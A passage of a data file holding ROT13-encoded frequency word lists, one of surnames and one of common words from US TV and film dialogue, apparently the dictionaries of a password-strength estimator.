ql,ebzvt,ebruy,eraavatre,erqvat,cbynx,cbuyzna,cnfvyynf,byqsvryq,byqnxre,bunayba,btvyivr,abeoret,abyrggr,arhsryq,aryyvf,zhzzreg,zhyivuvyy,zhyynarl,zbagryrbar,zraqbapn,zrvfare,zpzhyyna,zppyharl,znggvf,znffratvyy,znaserqv,yhrqgxr,ybhafohel,yvorengber,ynzcurer,ynsbetr,wbheqna,vbevb,vavthrm,vxrqn,uhoyre,ubqtqba,ubpxvat,urnpbpx,unfynz,unenyfba,unafunj,unaahz,unyynz,unqra,tnearf,tneprf,tnzzntr,tnzovab,svaxry,snhprgg,rueuneqg,rttra,qhfrx,qheenag,qhonl,qbarf,qrcnfdhnyr,qryhpvn,qrtenss,qrpnzc,qninybf,phyyvaf,pbaneq,pybhfre,pybagm,pvshragrf,punccry,punssvaf,pryvf,pnejvyr,olenz,oehttrzna,oerffyre,oengujnvgr,oenfsvryq,oenqohea,obbfr,obqvr,oybffre,oregfpu,oreaneqv,oreanor,oratgfba,oneerggr,nfgbetn,nyqnl,nyorr,noenunzfba,lnearyy,jvygfr,jvror,jnthrfcnpx,inffre,hcunz,gherx,genkyre,gbenva,gbznfmrjfxv,gvaava,gvare,gvaqryy,fgleba,fgnuyzna,fgnno,fxvon,furcreq,frvqy,frpbe,fpuhggr,fnasvyvccb,ehqre,ebaqba,ernevpx,cebpgre,cebpunfxn,crggratvyy,cnhyl,arvyfra,anyyl,zhyyrank,zbenab,zrnqf,zpanhtugba,zpzhegel,zpzngu,zpxvafrl,znggurf,znffraohet,zneyne,znetbyvf,znyva,zntnyyba,znpxva,ybirggr,ybhtuena,ybevat,ybatfgerrg,ybvfryyr,yravuna,xhamr,xbrcxr,xrejva,xnyvabjfxv,xntna,vaavf,vaarf,ubygmzna,urvarznaa,unefuzna,unvqre,unnpx,tebaqva,tevffrgg,terranjnyg,tbhql,tbbqyrgg,tbyqfgba,tbxrl,tneqrn,tnynivm,tnssbeq,tnoevryfba,sheybj,sevgpu,sbeqlpr,sbytre,ryvmnyqr,ruyreg,rpxubss,rppyrfgba,rnyrl,qhova,qvrzre,qrfpunzcf,qryncran,qrpvppb,qrobyg,phyyvana,pevggraqba,penfr,pbffrl,pbccbpx,pbbgf,pbylre,pyhpx,punzoreynaq,ohexurnq,ohzchf,ohpuna,obezna,ovexubym,oreneqv,oraqn,oruaxr,onegre,nzrmdhvgn,jbgevat,jvegm,jvatreg,jvrfare,juvgrfvqrf,jrlnag,jnvafpbgg,irarmvn,inearyy,ghffrl,guheybj,gnonerf,fgvire,fgryy,fgnexr,fgnaubcr,fgnarx,fvfyre,fvaabgg,fvpvyvnab,furuna,frycu,frntre,fpheybpx,fpenagba,fnaghppv,fnagnatryb,fnygfzna,ebttr,erggvt,erajvpx,ervql,ervqre,erqsvryq,cerzb,cneragr,cnbyhppv,cnyzdhvfg,buyre,arguregba,zhgpuyre,zbevgn,zvfgerggn,zvaavf,zvqqraqbes,zramry,zraqbfn,zraqryfba,zrnhk,zpfcnqqra,zpdhnvq,zpangg,znavtnhyg,znarl,zntre,yhxrf,ybcerfgv,yvevnab,yrgfba,yrpuhtn,ynmraol,ynhevn,ynevzber,xehcc,xehcn,xbcrp,xvapura,xvsre,xrearl,xreare,xraavfba,xrtyrl,xnepure,whfgvf,wbufba,wryyvfba,wnaxr,uhfxvaf,ubymzna,uvabwbf,ursyrl,ungznxre,unegr,unyybjnl,unyyraorpx,tbbqjla,tynfcvr,trvfr,shyyjbbq,selzna,senxrf,senver,sneere,raybj,ratra,ryymrl,rpxyrf,rneyrf,qhaxyrl,qevaxneq,qervyvat,qenrtre,qvaneqb,qvyyf,qrfebpurf,qrfnagvntb,pheyrr,pehzoyrl,pevgpuybj,pbhel,pbhegevtug,pbssvryq,pyrrx,punecragvre,pneqbar,pncyrf,pnagva,ohagva,ohtorr,oevaxreubss,oenpxva,obheynaq,oynffvatnzr,ornpunz,onaavat,nhthfgr,naqernfra,nznaa,nyzba,nyrwb,nqryzna,nofgba,lretre,jlzre,jbbqoreel,jvaqyrl,juvgrnxre,jrfgsvryq,jrvory,jnaare,jnyqerc,ivyynav,inanefqnyr,hggreonpx,hcqvxr,gevttf,gbcrgr,gbyne,gvtare,gubzf,gnhore,gneiva,gnyyl,fjvarl,fjrngzna,fghqronxre,fgraargg,fgneergg,fgnaaneq,fgnyirl,fbaaraoret,fzvgurl,fvrore,fvpxyrf,fuvanhyg,frtnef,fnatre,fnyzreba,ebgur,evmmv,erfgercb,enyyf,enthfn,dhvebtn,cncrashff,bebcrmn,bxnar,zhqtr,zbmvatb,zbyvaneb,zpivpxre,zptneirl,zpsnyyf,zppenarl,znghf,zntref,yynabf,yvirezber,yvaruna,yrvgare,ynlzba,ynjvat,ynpbhefr,xjbat,xbyyne,xarrynaq,xraargg,xryyrgg,xnatnf,wnamra,uhggre,uhyvat,ubszrvfgre,urjrf,unewb,unovo,thvpr,tehyyba,terttf,tenlre,tenavre,tenoyr,tbjql,tvnaavav,trgpuryy,tnegzna,tneavpn,tnarl,tnyyvzber,srggref,sretrefba,sneybj,snthaqrf,rkyrl,rfgrirf,raqref,rqrasvryq,rnfgrejbbq,qenxrsbeq,qvcnfdhnyr,qrfbhfn,qrfuvryqf,qrrgre,qrqzba,qrobeq,qnhtugrel,phggf,pbhegrznapur,pbhefrl,pbccyr,pbbzrf,pbyyvf,pbtohea,pybcgba,pubdhrggr,punvqrm,pnfgerwba,pnyubba,oheonpu,ohyybpu,ohpuzna,oehua,obuba,oybhtu,onlarf,onefgbj,mrzna,mnpxrel,lneqyrl,lnznfuvgn,jhyss,jvyxra,jvyvnzf,jvpxrefunz,jvoyr,juvcxrl,jrqtrjbegu,jnyzfyrl,jnyxhc,ierrynaq,ireevyy,hznan,genho,fjvatyr,fhzzrl,fgebhcr,fgbpxfgvyy,fgrssrl,fgrsnafxv,fgngyre,fgncc,fcrvtugf,fbynev,fbqreoret,fuhax,fuberl,furjznxre,furvyqf,fpuvssre,fpunax,fpunss,fntref,ebpuba,evfre,evpxrgg,ernyr,entyva,cbyra,cyngn,cvgpbpx,crepviny,cnyra,beban,boreyr,abpren,aninf,anhyg,zhyyvatf,zbagrwnab,zbaerny,zvavpx,zvqqyroebbx,zrrpr,zpzvyyvba,zpphyyra,znhpx,znefuohea,znvyyrg,znunarl,zntare,znpyva,yhprl,yvggreny,yvccvapbgg,yrvgr,yrnxf,ynzneer,whetraf,wrexvaf,wntre,uhejvgm,uhtuyrl,ubgnyvat,ubefgzna,ubuzna,ubpxre,uviryl,uvccf,urffyre,ureznafba,urcjbegu,uryynaq,urqyhaq,unexyrff,unvtyre,thgvrerm,tevaqfgnss,tynagm,tvneqvan,trexra,tnqfqra,svaaregl,sneahz,rapvanf,qenxrf,qraavr,phgyvc,phegfvatre,pbhgb,pbegvanf,pbeol,puvnffba,pneyr,pneonyyb,oevaqyr,obehz,obore,oyntt,oreguvnhzr,ornuz,ongerf,onfavtug,onpxrf,nkgryy,nggreoreel,nyinerf,nyrtevn,jbbqryy,jbwpvrpubjfxv,jvaserr,jvaohfu,jvrfg,jrfare,jnzfyrl,jnxrzna,ireare,gehrk,gensgba,gbzna,gubefra,gurhf,gryyvre,gnyynag,fmrgb,fgebcr,fgvyyf,fvzxvaf,fuhrl,funhy,freiva,frevb,frensva,fnythreb,elrefba,ehqqre,ehnex,ebgure,ebueonhtu,ebueonpu,ebuna,ebtrefba,evfure,errfre,celpr,cebxbc,cevaf,cevror,cerwrna,cvaurveb,crgebar,crgev,crafba,crneyzna,cnevxu,angbyv,zhenxnzv,zhyyvxva,zhyynar,zbgrf,zbeavatfgne,zpirvtu,zptenql,zptnhturl,zppheyrl,znepuna,znafxr,yhfol,yvaqr,yvxraf,yvpba,yrebhk,yrznver,yrtrggr,ynfxrl,yncenqr,yncynag,xbyne,xvggerqtr,xvayrl,xreore,xnantl,wrggba,wnavx,vccbyvgb,vabhlr,uhafvatre,ubjyrl,ubjrel,ubeeryy,ubygunhf,uvare,uvyfba,uvyqreoenaq,unegmyre,uneavfu,unenqn,unafsbeq,unyyvtna,untrqbea,tjlaa,thqvab,terrafgrva,terrne,tenprl,tbhqrnh,tbbqare,tvafohet,tregu,treare,shwvv,sevre,serarggr,sbyzne,syrvfure,syrvfpuznaa,srgmre,rvfrazna,rneuneg,qhchl,qhaxryoretre,qerkyre,qvyyvatre,qvyorpx,qrjnyq,qrzol,qrsbeq,penvar,purfahg,pnfnql,pnefgraf,pneevpx,pnevab,pnevtana,pnapubyn,ohfubat,ohezna,ohbab,oebjaybj,oebnpu,oevggra,oevpxubhfr,oblqra,obhygba,obeynaq,obuere,oyhonhtu,orire,orettera,orarivqrf,nebpub,neraqf,nzrmphn,nyzraqnerm,mnyrjfxv,jvgmry,jvaxsvryq,jvyubvgr,inathaql,inasyrrg,inarggra,inaqretevss,heonafxv,gebvnab,guvobqnhk,fgenhf,fgbarxvat,fgwrna,fgvyyvatf,fgnatr,fcrvpure,fcrrtyr,fzrygmre,fynjfba,fvzzbaqf,fuhggyrjbegu,frecn,fratre,frvqzna,fpujrvtre,fpuybff,fpuvzzry,fpurpugre,fnlyre,fnongvav,ebana,ebqvthrm,evttyrzna,evpuvaf,ernzre,cehagl,cbengu,cyhax,cvynaq,cuvyoebbx,crggvgg,crean,crenyrm,cnfpnyr,cnqhyn,boblyr,aviraf,avpxbyf,zhaqg,zhaqra,zbagvwb,zpznavf,zptenar,zppevzzba,znamv,znatbyq,znyvpx,znune,znqqbpx,ybfrl,yvggra,yrrql,yrniryy,ynqhr,xenua,xyhtr,whaxre,virefra,vzyre,uhegg,uhvmne,uhooreg,ubjvatgba,ubyybzba,ubyqera,ubvfvatgba,urvqra,unhtr,unegvtna,thgveerm,tevssvr,terrauvyy,tenggba,tenangn,tbggsevrq,tregm,tnhgernhk,sheel,sherl,shaqreohet,syvccra,svgmtvooba,qehpxre,qbabtuhr,qvyql,qriref,qrgjrvyre,qrfcerf,qraol,qrtrbetr,phrgb,penafgba,pbheivyyr,pyhxrl,pvevyyb,puviref,pnhqvyyb,ohgren,ohyyhpx,ohpxznfgre,oenhafgrva,oenpnzbagr,obheqrnh,obaarggr".split(","), us_tv_and_film:"lbh,v,gb,gung,vg,zr,jung,guvf,xabj,v'z,ab,unir,zl,qba'g,whfg,abg,qb,or,lbhe,jr,vg'f,fb,ohg,nyy,jryy,bu,nobhg,evtug,lbh'er,trg,urer,bhg,tbvat,yvxr,lrnu,vs,pna,hc,jnag,guvax,gung'f,abj,tb,uvz,ubj,tbg,qvq,jul,frr,pbzr,tbbq,ernyyl,ybbx,jvyy,bxnl,onpx,pna'g,zrna,gryy,v'yy,url,ur'f,pbhyq,qvqa'g,lrf,fbzrguvat,orpnhfr,fnl,gnxr,jnl,yvggyr,znxr,arrq,tbaan,arire,jr'er,gbb,fur'f,v'ir,fher,bhe,fbeel,jung'f,yrg,guvat,znlor,qbja,zna,irel,gurer'f,fubhyq,nalguvat,fnvq,zhpu,nal,rira,bss,cyrnfr,qbvat,gunax,tvir,gubhtug,uryc,gnyx,tbq,fgvyy,jnvg,svaq,abguvat,ntnva,guvatf,yrg'f,qbrfa'g,pnyy,gbyq,terng,orggre,rire,avtug,njnl,oryvrir,srry,rirelguvat,lbh'ir,svar,ynfg,xrrc,qbrf,chg,nebhaq,fgbc,gurl'er,v'q,thl,vfa'g,nyjnlf,yvfgra,jnagrq,thlf,uhu,gubfr,ovt,ybg,unccrarq,gunaxf,jba'g,gelvat,xvaq,jebat,gnyxvat,thrff,pner,onq,zbz,erzrzore,trggvat,jr'yy,gbtrgure,qnq,yrnir,haqrefgnaq,jbhyqa'g,npghnyyl,urne,onol,avpr,sngure,ryfr,fgnl,qbar,jnfa'g,pbhefr,zvtug,zvaq,rirel,rabhtu,gel,uryy,pnzr,fbzrbar,lbh'yy,jubyr,lbhefrys,vqrn,nfx,zhfg,pbzvat,ybbxvat,jbzna,ebbz,xarj,gbavtug,erny,fba,ubcr,jrag,uzz,unccl,cerggl,fnj,tvey,fve,sevraq,nyernql,fnlvat,arkg,wbo,ceboyrz,zvahgr,guvaxvat,unira'g,urneq,ubarl,znggre,zlfrys,pbhyqa'g,rknpgyl,univat,cebonoyl,unccra,jr'ir,uheg,obl,qrnq,tbggn,nybar,rkphfr,fgneg,xvyy,uneq,lbh'q,gbqnl,pne,ernql,jvgubhg,jnagf,ubyq,jnaan,lrg,frra,qrny,bapr,tbar,zbeavat,fhccbfrq,sevraqf,urnq,fghss,jbeel,yvir,gehgu,snpr,sbetrg,gehr,pnhfr,fbba,xabjf,gryyvat,jvsr,jub'f,punapr,eha,zbir,nalbar,crefba,olr,fbzrobql,urneg,zvff,znxvat,zrrg,naljnl,cubar,ernfba,qnza,ybfg,ybbxf,oevat,pnfr,ghea,jvfu,gbzbeebj,xvqf,gehfg,purpx,punatr,nalzber,yrnfg,nera'g,jbexvat,znxrf,gnxvat,zrnaf,oebgure,ungr,ntb,fnlf,ornhgvshy,tnir,snpg,penml,fvg,nsenvq,vzcbegnag,erfg,sha,xvq,jbeq,jngpu,tynq,rirelbar,fvfgre,zvahgrf,rirelobql,ovg,pbhcyr,jubn,rvgure,zef,srryvat,qnhtugre,jbj,trgf,nfxrq,oernx,cebzvfr,qbbe,pybfr,unaq,rnfl,dhrfgvba,gevrq,sne,jnyx,arrqf,zvar,xvyyrq,ubfcvgny,nalobql,nyevtug,jrqqvat,fuhg,noyr,qvr,cresrpg,fgnaq,pbzrf,uvg,jnvgvat,qvaare,shaal,uhfonaq,nyzbfg,cnl,nafjre,pbby,rlrf,arjf,puvyq,fubhyqa'g,lbhef,zbzrag,fyrrc,ernq,jurer'f,fbhaqf,fbaal,cvpx,fbzrgvzrf,orq,qngr,cyna,ubhef,ybfr,unaqf,frevbhf,fuvg,oruvaq,vafvqr,nurnq,jrrx,jbaqreshy,svtug,cnfg,phg,dhvgr,ur'yy,fvpx,vg'yy,rng,abobql,tbrf,fnir,frrzf,svanyyl,yvirf,jbeevrq,hcfrg,pneyl,zrg,oebhtug,frrz,fbeg,fnsr,jrera'g,yrnivat,sebag,fubg,ybirq,nfxvat,ehaavat,pyrne,svther,ubg,sryg,cneragf,qevax,nofbyhgryl,ubj'f,qnqql,fjrrg,nyvir,frafr,zrnag,unccraf,org,oybbq,nva'g,xvqqvat,yvr,zrrgvat,qrne,frrvat,fbhaq,snhyg,gra,ohl,ubhe,fcrnx,ynql,wra,guvaxf,puevfgznf,bhgfvqr,unat,cbffvoyr,jbefr,zvfgnxr,bbu,unaqyr,fcraq,gbgnyyl,tvivat,urer'f,zneevntr,ernyvmr,hayrff,frk,fraq,arrqrq,fpnerq,cvpgher,gnyxrq,nff,uhaqerq,punatrq,pbzcyrgryl,rkcynva,pregnvayl,fvta,oblf,eryngvbafuvc,ybirf,unve,ylvat,pubvpr,naljurer,shgher,jrveq,yhpx,fur'yy,ghearq,gbhpu,xvff,penar,dhrfgvbaf,boivbhfyl,jbaqre,cnva,pnyyvat,fbzrjurer,guebj,fgenvtug,pbyq,snfg,jbeqf,sbbq,abar,qevir,srryvatf,gurl'yy,zneel,qebc,pnaabg,qernz,cebgrpg,gjragl,fhecevfr,fjrrgurneg,cbbe,ybbxrq,znq,rkprcg,tha,l'xabj,qnapr,gnxrf,nccerpvngr,rfcrpvnyyl,fvghngvba,orfvqrf,chyy,unfa'g,jbegu,furevqna,nznmvat,rkcrpg,fjrne,cvrpr,ohfl,unccravat,zbivr,jr'q,pngpu,creuncf,fgrc,snyy,jngpuvat,xrcg,qneyvat,qbt,ubabe,zbivat,gvyy,nqzvg,ceboyrzf,zheqre,ur'q,rivy,qrsvavgryl,srryf,ubarfg,rlr,oebxr,zvffrq,ybatre,qbyynef,gverq,riravat,fgnegvat,ragver,gevc,avyrf,fhccbfr,pnyz,vzntvar,snve,pnhtug,oynzr,fvggvat,snibe,ncnegzrag,greevoyr,pyrna,yrnea,senfvre,erynk,nppvqrag,jnxr,cebir,fzneg,zrffntr,zvffvat,sbetbg,vagrerfgrq,gnoyr,aofc,zbhgu,certanag,evat,pnershy,funyy,qhqr,evqr,svtherq,jrne,fubbg,fgvpx,sbyybj,natel,jevgr,fgbccrq,ena,fgnaqvat,sbetvir,wnvy,jrnevat,ynqvrf,xvaqn,yhapu,pevfgvna,terrayrr,tbggra,ubcvat,cubror,gubhfnaq,evqtr,cncre,gbhtu,gncr,pbhag,oblsevraq,cebhq,nterr,oveguqnl,gurl'ir,funer,bssre,uheel,srrg,jbaqrevat,qrpvfvba,barf,svavfu,ibvpr,urefrys,jbhyq'ir,zrff,qrfreir,rivqrapr,phgr,qerff,vagrerfgvat,ubgry,rawbl,dhvrg,pbaprearq,fgnlvat,orng,fjrrgvr,zragvba,pybgurf,sryy,arvgure,zzz,svk,erfcrpg,cevfba,nggragvba,ubyqvat,pnyyf,fhecevfrq,one,xrrcvat,tvsg,unqa'g,chggvat,qnex,bjr,vpr,urycvat,abezny,nhag,ynjlre,ncneg,cynaf,wnk,tveysevraq,sybbe,jurgure,rirelguvat'f,obk,whqtr,hcfgnvef,fnxr,zbzzl,cbffvoyl,jbefg,npgvat,npprcg,oybj,fgenatr,fnirq,pbairefngvba,cynar,znzn,lrfgreqnl,yvrq,dhvpx,yngryl,fghpx,qvssrerapr,fgber,fur'q,obhtug,qbhog,yvfgravat,jnyxvat,pbcf,qrrc,qnatrebhf,ohssl,fyrrcvat,puybr,ensr,wbva,pneq,pevzr,tragyrzra,jvyyvat,jvaqbj,jnyxrq,thvygl,yvxrf,svtugvat,qvssvphyg,fbhy,wbxr,snibevgr,hapyr,cebzvfrq,obgure,frevbhfyl,pryy,xabjvat,oebxra,nqivpr,fbzrubj,cnvq,ybfvat,chfu,urycrq,xvyyvat,obff,yvxrq,vaabprag,ehyrf,yrnearq,guvegl,evfx,yrggvat,fcrnxvat,evqvphybhf,nsgreabba,ncbybtvmr,areibhf,punetr,cngvrag,obng,ubj'q,uvqr,qrgrpgvir,cynaavat,uhtr,oernxsnfg,ubeevoyr,njshy,cyrnfher,qevivat,unatvat,cvpxrq,fryy,dhvg,nccneragyl,qlvat,abgvpr,pbatenghyngvbaf,ivfvg,pbhyq'ir,p'zba,yrggre,qrpvqr,sbejneq,sbby,fubjrq,fzryy,frrzrq,fcryy,zrzbel,cvpgherf,fybj,frpbaqf,uhatel,urnevat,xvgpura,zn'nz,fubhyq'ir,ernyvmrq,xvpx,teno,qvfphff,svsgl,ernqvat,vqvbg,fhqqrayl,ntrag,qrfgebl,ohpxf,fubrf,crnpr,nezf,qrzba,yviivr,pbafvqre,cncref,vaperqvoyr,jvgpu,qehax,nggbearl,gryyf,xabpx,jnlf,tvirf,abfr,fxlr,gheaf,xrrcf,wrnybhf,qeht,fbbare,pnerf,cyragl,rkgen,bhggn,jrrxraq,znggref,tbfu,bccbeghavgl,vzcbffvoyr,jnfgr,cergraq,whzc,rngvat,cebbs,fyrcg,neerfg,oerngur,cresrpgyl,jnez,chyyrq,gjvpr,rnfvre,tbva,qngvat,fhvg,ebznagvp,qehtf,pbzsbegnoyr,svaqf,purpxrq,qvibepr,ortva,bhefryirf,pybfre,ehva,fzvyr,ynhtu,gerng,srne,jung'q,bgurejvfr,rkpvgrq,znvy,uvqvat,fgbyr,cnprl,abgvprq,sverq,rkpryyrag,oevatvat,obggbz,abgr,fhqqra,onguebbz,ubarfgyl,fvat,sbbg,erzvaq,punetrf,jvgarff,svaqvat,gerr,qner,uneqyl,gung'yy,fgrny,fvyyl,pbagnpg,grnpu,fubc,cyhf,pbybary,serfu,gevny,vaivgrq,ebyy,ernpu,qvegl,pubbfr,rzretrapl,qebccrq,ohgg,perqvg,boivbhf,ybpxrq,ybivat,ahgf,nterrq,cehr,tbbqolr,pbaqvgvba,thneq,shpxva,tebj,pnxr,zbbq,penc,pelvat,orybat,cnegare,gevpx,cerffher,qerffrq,gnfgr,arpx,ahefr,envfr,ybgf,pneel,jubrire,qevaxvat,gurl'q,oernxvat,svyr,ybpx,jvar,fcbg,cnlvat,nffhzr,nfyrrc,gheavat,ivxv,orqebbz,fubjre,avxbynf,pnzren,svyy,ernfbaf,sbegl,ovttre,abcr,oerngu,qbpgbef,cnagf,sernx,zbivrf,sbyxf,pernz,jvyq,gehyl,qrfx,pbaivapr,pyvrag,guerj,uhegf,fcraqvat,nafjref,fuveg,punve,ebhtu,qbva,frrf,bhtug,rzcgl,jvaq,njner,qrnyvat,cnpx,gvtug,uhegvat,thrfg,neerfgrq,fnyrz,pbashfrq,fhetrel,rkcrpgvat,qrnpba,hasbeghangryl,tbqqnza,obggyr,orlbaq,jurarire,cbby,bcvavba,fgnegf,wrex,frpergf,snyyvat,arprffnel,oneryl,qnapvat,grfgf,pbcl,pbhfva,nurz,gjryir,grff,fxva,svsgrra,fcrrpu,beqref,pbzcyvpngrq,abjurer,rfpncr,ovttrfg,erfgnhenag,tengrshy,hfhny,ohea,nqqerff,fbzrcynpr,fperj,rireljurer,erterg,tbbqarff,zvfgnxrf,qrgnvyf,erfcbafvovyvgl,fhfcrpg,pbeare,ureb,qhzo,greevsvp,jubb,ubyr,zrzbevrf,b'pybpx,grrgu,ehvarq,ovgr,fgraorpx,yvne,fubjvat,pneqf,qrfcrengr,frnepu,cngurgvp,fcbxr,fpner,znenu,nssbeq,frggyr,fgnlrq,purpxvat,uverq,urnqf,pbaprea,oyrj,nypnmne,punzcntar,pbaarpgvba,gvpxrgf,unccvarff,fnivat,xvffvat,ungrq,crefbanyyl,fhttrfg,cercnerq,bagb,qbjafgnvef,gvpxrg,vg'q,ybbfr,ubyl,qhgl,pbaivaprq,guebjvat,xvffrq,yrtf,ybhq,fngheqnl,onovrf,jurer'q,jneavat,zvenpyr,pneelvat,oyvaq,htyl,fubccvat,ungrf,fvtug,oevqr,pbng,pyrneyl,pryroengr,oevyyvnag,jnagvat,sbeerfgre,yvcf,phfgbql,fperjrq,ohlvat,gbnfg,gubhtugf,ernyvgl,yrkvr,nggvghqr,nqinagntr,tenaqsngure,fnzv,tenaqzn,fbzrqnl,ebbs,zneelvat,cbjreshy,tebja,tenaqzbgure,snxr,zhfg'ir,vqrnf,rkpvgvat,snzvyvne,obzo,obhg,unezbal,fpurqhyr,pncnoyr,cenpgvpnyyl,pbeerpg,pyhr,sbetbggra,nccbvagzrag,qrfreirf,guerng,oybbql,ybaryl,funzr,wnpxrg,ubbx,fpnel,vairfgvtngvba,vaivgr,fubbgvat,yrffba,pevzvany,ivpgvz,shareny,pbafvqrevat,oheavat,fgeratgu,uneqre,fvfgref,chfurq,fubpx,chfuvat,urng,pubpbyngr,zvfrenoyr,pbevagubf,avtugzner,oevatf,mnaqre,penfu,punaprf,fraqvat,erpbtavmr,urnygul,obevat,srrq,ratntrq,urnqrq,gerngrq,xavsr,qent,onqyl,uver,cnvag,cneqba,orunivbe,pybfrg,jnea,tbetrbhf,zvyx,fheivir,raqf,qhzc,erag,erzrzorerq,gunaxftvivat,enva,eriratr,cersre,fcner,cenl,qvfnccrnerq,nfvqr,fgngrzrag,fbzrgvzr,zrng,snagnfgvp,oernguvat,ynhtuvat,fgbbq,nssnve,bhef,qrcraqf,cebgrpgvat,whel,oenir,svatref,zheqrerq,rkcynangvba,cvpxvat,oynu,fgebatre,unaqfbzr,haoryvrinoyr,nalgvzr,funxr,bnxqnyr,jurerire,chyyvat,snpgf,jnvgrq,ybhfl,pvephzfgnaprf,qvfnccbvagrq,jrnx,gehfgrq,yvprafr,abguva,genfu,haqrefgnaqvat,fyvc,fbhaqrq,njnxr,sevraqfuvc,fgbznpu,jrncba,guerngrarq,zlfgrel,irtnf,haqrefgbbq,onfvpnyyl,fjvgpu,senaxyl,purnc,yvsrgvzr,qral,pybpx,tneontr,jul'q,grne,rnef,vaqrrq,punatvat,fvatvat,gval,qrprag,nibvq,zrffrq,svyyrq,gbhpurq,qvfnccrne,rknpg,cvyyf,xvpxrq,unez,sbeghar,cergraqvat,vafhenapr,snapl,qebir,pnerq,orybatf,avtugf,yberynv,yvsg,gvzvat,thnenagrr,purfg,jbxr,ohearq,jngpurq,urnqvat,frysvfu,qevaxf,qbyy,pbzzvggrq,ryringbe,serrmr,abvfr,jnfgvat,prerzbal,hapbzsbegnoyr,fgnevat,svyrf,ovxr,fgerff,crezvffvba,guebja,cbffvovyvgl,obeebj,snohybhf,qbbef,fpernzvat,obar,knaqre,jung'er,zrny,ncbybtl,natre,ubarlzbba,onvy,cnexvat,svkrq,jnfu,fgbyra,frafvgvir,fgrnyvat,cubgb,pubfr,yrgf,pbzsbeg,jbeelvat,cbpxrg,zngrb,oyrrqvat,fubhyqre,vtaber,gnyrag,gvrq,tnentr,qvrf,qrzbaf,qhzcrq,jvgpurf,ehqr,penpx,obgurevat,enqne,fbsg,zrnagvzr,tvzzr,xvaqf,sngr,pbapragengr,guebng,cebz,zrffntrf,vagraq,nfunzrq,fbzrguva,znantr,thvyg,vagreehcg,thgf,gbathr,fubr,onfrzrag,fragrapr,chefr,tynffrf,pnova,havirefr,ercrng,zveebe,jbhaq,geniref,gnyy,ratntrzrag,gurencl,rzbgvbany,wrrm,qrpvfvbaf,fbhc,guevyyrq,fgnxr,purs,zbirf,rkgerzryl,zbzragf,rkcrafvir,pbhagvat,fubgf,xvqanccrq,pyrnavat,fuvsg,cyngr,vzcerffrq,fzryyf,genccrq,nvqna,xabpxrq,punezvat,nggenpgvir,nethr,chgf,juvc,rzoneenffrq,cnpxntr,uvggvat,ohfg,fgnvef,nynez,cher,anvy,areir,vaperqvoyl,jnyxf,qveg,fgnzc,greevoyl,sevraqyl,qnzarq,wbof,fhssrevat,qvfthfgvat,fgbccvat,qryvire,evqvat,urycf,qvfnfgre,onef,pebffrq,genc,gnyxf,rttf,puvpx,guerngravat,fcbxra,vagebqhpr,pbasrffvba,rzoneenffvat,ontf,vzcerffvba,tngr,erchgngvba,cerfragf,pung,fhssre,nethzrag,gnyxva,pebjq,ubzrjbex,pbvapvqrapr,pnapry,cevqr,fbyir,ubcrshyyl,cbhaqf,cvar,zngr,vyyrtny,trarebhf,bhgsvg,znvq,ongu,chapu,sernxrq,orttvat,erpnyy,rawblvat,cercner,jurry,qrsraq,fvtaf,cnvashy,lbhefryirf,znevf,gung'q,fhfcvpvbhf,pbbxvat,ohggba,jnearq,fvkgl,cvgl,lryyvat,njuvyr,pbasvqrapr,bssrevat,cyrnfrq,cnavp,uref,trggva,ershfr,tenaqcn,grfgvsl,pubvprf,pehry,zragny,tragyrzna,pbzn,phggvat,cebgrhf,thrfgf,rkcreg,orarsvg,snprf,whzcrq,gbvyrg,farnx,unyybjrra,cevinpl,fzbxvat,erzvaqf,gjvaf,fjvat,fbyvq,bcgvbaf,pbzzvgzrag,pehfu,nzohynapr,jnyyrg,tnat,ryrira,bcgvba,ynhaqel,nffher,fgnlf,fxvc,snvy,qvfphffvba,pyvavp,orgenlrq,fgvpxvat,oberq,znafvba,fbqn,furevss,fhvgr,unaqyrq,ohfgrq,ybnq,unccvre,fghqlvat,ebznapr,cebprqher,pbzzvg,nffvtazrag,fhvpvqr,zvaqf,fjvz,lryy,yynaivrj,punfvat,cebcre,oryvrirf,uhzbe,ubcrf,ynjlref,tvnag,yngrfg,rfpncrq,cnerag,gevpxf,vafvfg,qebccvat,purre,zrqvpngvba,syrfu,ebhgvar,fnaqjvpu,unaqrq,snyfr,orngvat,jneenag,njshyyl,bqqf,gerngvat,guva,fhttrfgvat,srire,fjrng,fvyrag,pyrire,fjrngre,znyy,funevat,nffhzvat,whqtzrag,tbbqavtug,qvibeprq,fheryl,fgrcf,pbasrff,zngu,yvfgrarq,pbzva,nafjrerq,ihyarenoyr,oyrff,qernzvat,puvc,mreb,cvffrq,angr,xvyyf,grnef,xarrf,puvyy,oenvaf,hahfhny,cnpxrq,qernzrq,pher,ybbxva,tenir,purngvat,oernxf,ybpxre,tvsgf,njxjneq,guhefqnl,wbxvat,ernfbanoyr,qbmra,phefr,dhnegreznvar,zvyyvbaf,qrffreg,ebyyvat,qrgnvy,nyvra,qryvpvbhf,pybfvat,inzcverf,jber,gnvy,frpher,fnynq,zheqrere,fcvg,bssrafr,qhfg,pbafpvrapr,oernq,nafjrevat,ynzr,vaivgngvba,tevrs,fzvyvat,certanapl,cevfbare,qryvirel,thneqf,ivehf,fuevax,serrmvat,jerpx,znffvzb,jver,grpuavpnyyl,oybja,nakvbhf,pnir,ubyvqnlf,pyrnerq,jvfurf,pnevat,pnaqyrf,obhaq,punez,chyfr,whzcvat,wbxrf,obbz,bppnfvba,fvyrapr,abafrafr,sevtugrarq,fyvccrq,qvzren,oybjvat,eryngvbafuvcf,xvqanccvat,fcva,gbby,ebkl,cnpxvat,oynzvat,jenc,bofrffrq,sehvg,gbegher,crefbanyvgl,gurer'yy,snvel,arprffnevyl,friragl,cevag,zbgry,haqrejrne,tenzf,rkunhfgrq,oryvrivat,sernxvat,pnershyyl,genpr,gbhpuvat,zrffvat,erpbirel,vagragvba,pbafrdhraprf,oryg,fnpevsvpr,pbhentr,rawblrq,nggenpgrq,erzbir,grfgvzbal,vagrafr,urny,qrsraqvat,hasnve,eryvrirq,yblny,fybjyl,ohmm,nypbuby,fhecevfrf,cflpuvngevfg,cynva,nggvp,jub'q,havsbez,greevsvrq,pyrnarq,mnpu,guerngra,sryyn,rarzvrf,fngvfsvrq,vzntvangvba,ubbxrq,urnqnpur,sbetrggvat,pbhafrybe,naqvr,npgrq,onqtr,anghenyyl,sebmra,fnxrf,nccebcevngr,gehax,qhaab,pbfghzr,fvkgrra,vzcerffvir,xvpxvat,whax,tenoorq,haqrefgnaqf,qrfpevor,pyvragf,bjaf,nssrpg,jvgarffrf,fgneivat,vafgvapgf,unccvyl,qvfphffvat,qrfreirq,fgen